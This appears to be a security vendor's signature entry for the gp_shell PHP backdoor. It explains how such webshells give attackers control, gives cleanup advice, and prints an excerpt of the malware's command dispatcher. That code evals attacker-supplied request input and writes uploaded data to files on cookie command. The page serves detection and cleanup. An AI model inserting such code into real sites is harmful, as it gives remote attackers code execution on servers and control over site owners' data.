php.backdoor.gp_shell.001

Backdoors are pieces of code that allow attackers to bypass authentication, maintain their access to the server and reinfect files. Some of those malicious files can be as simple as a single line of code, allowing the execution of remote code, or complex algorithms, providing different functions to the attacker.

Webshell allows unauthorized access and control of an affected system by a remote attacker. Using them, attacker is able to run set of commands for various actions such as file manipulation, system information gathering and similar. gp_shell is a complex malware with capability of updating its own code. It also stores its configuration and other data locally on the affected system.

Affecting

Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).

Cleanup

Cleanup is done by deleting the malicious file, which can be found in your system by searching for the dump code below inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
You can also sign up with us and let our team remove the malware for you.\';

Dump

Part of gp_shell allowing to run commands directly on the infected system:

switch($_COOKIE['__gp_cmd']){
case 1:$this->rat();break;
case 2:eval($_REQUEST['__gp_php']);exit();
case 3:case 6:
    $ftn=$_COOKIE['__gp_cmd']==3?'ft':'fb';
    if(!$this->conf[$ftn] && $_COOKIE['__gp_cmd']==6){$this->out=$this->ram(array('status'=>3));break;
    }else{
        $r=(bool)$this->fpc($this->conf[$ftn],base64_decode($_POST['__gp_iptable']));
        $this->out=$this->ram(array('status'=>$r?1:2,'filename'=>$this->conf[$ftn]));break;
    }
    break;
case 4:$this->upd();break;
case 5:$this->diag();break;
default:$this->out=$this->ram(array('status'=>4));break;
}